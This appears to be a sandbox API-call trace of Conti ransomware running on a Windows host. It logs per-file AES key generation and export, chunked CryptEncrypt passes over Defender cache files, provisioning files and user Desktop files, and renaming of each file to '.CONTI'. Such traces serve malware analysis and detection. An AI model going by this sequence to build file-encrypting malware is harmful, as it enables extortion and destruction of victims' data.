	[0116.518] WriteFile (in: hFile=0x308, lpBuffer=0x6b489a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b489a0*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0116.518] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.518] CloseHandle (hObject=0x308) returned 1
	[0116.520] GetProcessHeap () returned 0x1720000
	[0116.520] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x659fe88
	[0116.521] lstrcpyW (in: lpString1=0x659fe88, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\69__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\69__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\69__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0116.521] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\69__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\69__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\69__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0116.521] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\69__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\69__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\69__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\69__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0116.529] GetProcessHeap () returned 0x1720000
	[0116.529] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x659fe88 | out: hHeap=0x1720000) returned 1
	[0116.529] CryptDestroyKey (hKey=0x17c7c30) returned 1
	[0116.529] GetProcessHeap () returned 0x1720000
	[0116.529] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b55f48 | out: hHeap=0x1720000) returned 1
	[0116.529] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0116.529] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b4d980 | out: phKey=0x6b4d980*=0x6b7ea38) returned 1
	[0116.529] CryptExportKey (in: hKey=0x6b7ea38, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4d984, pdwDataLen=0x4fbf86c | out: pbData=0x6b4d984*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0116.538] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CC" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.cc")) returned 0x20
	[0116.539] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CC" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.cc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0116.558] GetLastError () returned 0x0
	[0116.558] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=278945) returned 1
	[0116.558] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x441a1
	[0116.558] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.558] SetEndOfFile (hFile=0x308) returned 1
	[0116.559] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.559] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.559] WriteFile (in: hFile=0x308, lpBuffer=0x6b4d984*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b4d984*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0116.561] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.561] ReadFile (in: hFile=0x308, lpBuffer=0xe980000, nNumberOfBytesToRead=0x441a1, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x441a1, lpOverlapped=0x0) returned 1
	[0116.563] CryptEncrypt (in: hKey=0x6b7ea38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x441a1, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x441b0) returned 1
	[0116.564] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.564] WriteFile (in: hFile=0x308, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x441b0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x441b0, lpOverlapped=0x0) returned 1
	[0116.565] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.565] WriteFile (in: hFile=0x308, lpBuffer=0x6b4d978*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b4d978*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0116.565] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.565] CloseHandle (hObject=0x308) returned 1
	[0116.565] GetProcessHeap () returned 0x1720000
	[0116.565] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x658fec8
	[0116.565] lstrcpyW (in: lpString1=0x658fec8, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CC" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CC") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CC"
	[0116.565] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CC", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CC.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CC.CONTI"
	[0116.565] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CC" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.cc"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CC.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.cc.conti")) returned 1
	[0116.566] GetProcessHeap () returned 0x1720000
	[0116.566] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x658fec8 | out: hHeap=0x1720000) returned 1
	[0116.566] CryptDestroyKey (hKey=0x6b7ea38) returned 1
	[0116.566] GetProcessHeap () returned 0x1720000
	[0116.566] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173c878 | out: hHeap=0x1720000) returned 1
	[0116.566] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0116.566] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b4e4e8 | out: phKey=0x6b4e4e8*=0x6b7e8f8) returned 1
	[0116.566] CryptExportKey (in: hKey=0x6b7e8f8, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4e4ec, pdwDataLen=0x4fbf86c | out: pbData=0x6b4e4ec*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0116.567] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.5B" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.5b")) returned 0x20
	[0116.568] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.5B" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.5b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0116.568] GetLastError () returned 0x0
	[0116.568] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=26125796) returned 1
	[0116.568] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x18ea5e4
	[0116.568] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.568] SetEndOfFile (hFile=0x308) returned 1
	[0116.568] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.569] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.569] WriteFile (in: hFile=0x308, lpBuffer=0x6b4e4ec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b4e4ec*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0116.571] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.571] ReadFile (in: hFile=0x308, lpBuffer=0xe980000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x500000, lpOverlapped=0x0) returned 1
	[0118.244] CryptEncrypt (in: hKey=0x6b7e8f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x500000, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x500000) returned 1
	[0118.250] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.250] WriteFile (in: hFile=0x308, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x500000, lpOverlapped=0x0) returned 1
	[0122.437] ReadFile (in: hFile=0x308, lpBuffer=0xe980000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x500000, lpOverlapped=0x0) returned 1
	[0123.682] CryptEncrypt (in: hKey=0x6b7e8f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x500000, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x500000) returned 1
	[0123.689] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x500000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.689] WriteFile (in: hFile=0x308, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x500000, lpOverlapped=0x0) returned 1
	[0126.509] ReadFile (in: hFile=0x308, lpBuffer=0xe980000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x500000, lpOverlapped=0x0) returned 1
	[0127.766] CryptEncrypt (in: hKey=0x6b7e8f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x500000, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x500000) returned 1
	[0127.772] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xa00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.773] WriteFile (in: hFile=0x308, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x500000, lpOverlapped=0x0) returned 1
	[0130.085] ReadFile (in: hFile=0x308, lpBuffer=0xe980000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x500000, lpOverlapped=0x0) returned 1
	[0132.884] CryptEncrypt (in: hKey=0x6b7e8f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x500000, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x500000) returned 1
	[0132.891] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xf00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.891] WriteFile (in: hFile=0x308, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x500000, lpOverlapped=0x0) returned 1
	[0133.871] ReadFile (in: hFile=0x308, lpBuffer=0xe980000, nNumberOfBytesToRead=0x4ea5e4, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x4ea5e4, lpOverlapped=0x0) returned 1
	[0135.517] CryptEncrypt (in: hKey=0x6b7e8f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x4ea5e4, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x4ea5f0) returned 1
	[0135.522] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x1400000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.523] WriteFile (in: hFile=0x308, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x4ea5f0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x4ea5f0, lpOverlapped=0x0) returned 1
	[0136.104] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.104] WriteFile (in: hFile=0x308, lpBuffer=0x6b4e4e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b4e4e0*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0136.104] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0136.104] CloseHandle (hObject=0x308) returned 1
	[0137.253] GetProcessHeap () returned 0x1720000
	[0137.253] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0137.601] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.5B" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.5B") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.5B"
	[0137.601] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.5B", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.5B.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.5B.CONTI"
	[0137.602] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.5B" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.5b"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.5B.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.5b.conti")) returned 0
	[0137.602] GetProcessHeap () returned 0x1720000
	[0137.602] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0137.602] CryptDestroyKey (hKey=0x6b7e8f8) returned 1
	[0137.602] GetProcessHeap () returned 0x1720000
	[0137.602] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ccd0 | out: hHeap=0x1720000) returned 1
	[0137.602] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0137.602] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b50bb0 | out: phKey=0x6b50bb0*=0x6b7ec38) returned 1
	[0137.602] CryptExportKey (in: hKey=0x6b7ec38, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b50bb4, pdwDataLen=0x4fbf86c | out: pbData=0x6b50bb4*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0137.603] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ClGy.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\clgy.mkv")) returned 0x20
	[0137.603] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ClGy.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\clgy.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430
	[0137.603] GetLastError () returned 0x0
	[0137.603] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=65685) returned 1
	[0137.603] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10095
	[0137.603] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.603] SetEndOfFile (hFile=0x430) returned 1
	[0137.603] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.603] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.603] WriteFile (in: hFile=0x430, lpBuffer=0x6b50bb4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b50bb4*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0137.605] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.605] ReadFile (in: hFile=0x430, lpBuffer=0xe980000, nNumberOfBytesToRead=0x10095, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x10095, lpOverlapped=0x0) returned 1
	[0137.605] CryptEncrypt (in: hKey=0x6b7ec38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x10095, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x100a0) returned 1
	[0137.605] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.606] WriteFile (in: hFile=0x430, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x100a0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x100a0, lpOverlapped=0x0) returned 1
	[0137.606] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.606] WriteFile (in: hFile=0x430, lpBuffer=0x6b50ba8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b50ba8*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0137.606] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.606] CloseHandle (hObject=0x430) returned 1
	[0137.606] GetProcessHeap () returned 0x1720000
	[0137.606] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0137.606] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Desktop\\ClGy.mkv" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\ClGy.mkv") returned="C:\\Users\\FD1HVy\\Desktop\\ClGy.mkv"
	[0137.606] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\ClGy.mkv", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\ClGy.mkv.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\ClGy.mkv.CONTI"
	[0137.606] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ClGy.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\clgy.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\ClGy.mkv.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\clgy.mkv.conti")) returned 1
	[0137.607] GetProcessHeap () returned 0x1720000
	[0137.607] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0137.607] CryptDestroyKey (hKey=0x6b7ec38) returned 1
	[0137.607] GetProcessHeap () returned 0x1720000
	[0137.607] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d648 | out: hHeap=0x1720000) returned 1
	[0137.607] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0137.607] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b51040 | out: phKey=0x6b51040*=0x6b7e9f8) returned 1
	[0137.607] CryptExportKey (in: hKey=0x6b7e9f8, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b51044, pdwDataLen=0x4fbf86c | out: pbData=0x6b51044*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0137.608] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\desktop\\desktop.ini")) returned 0x26
	[0137.608] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\desktop\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430
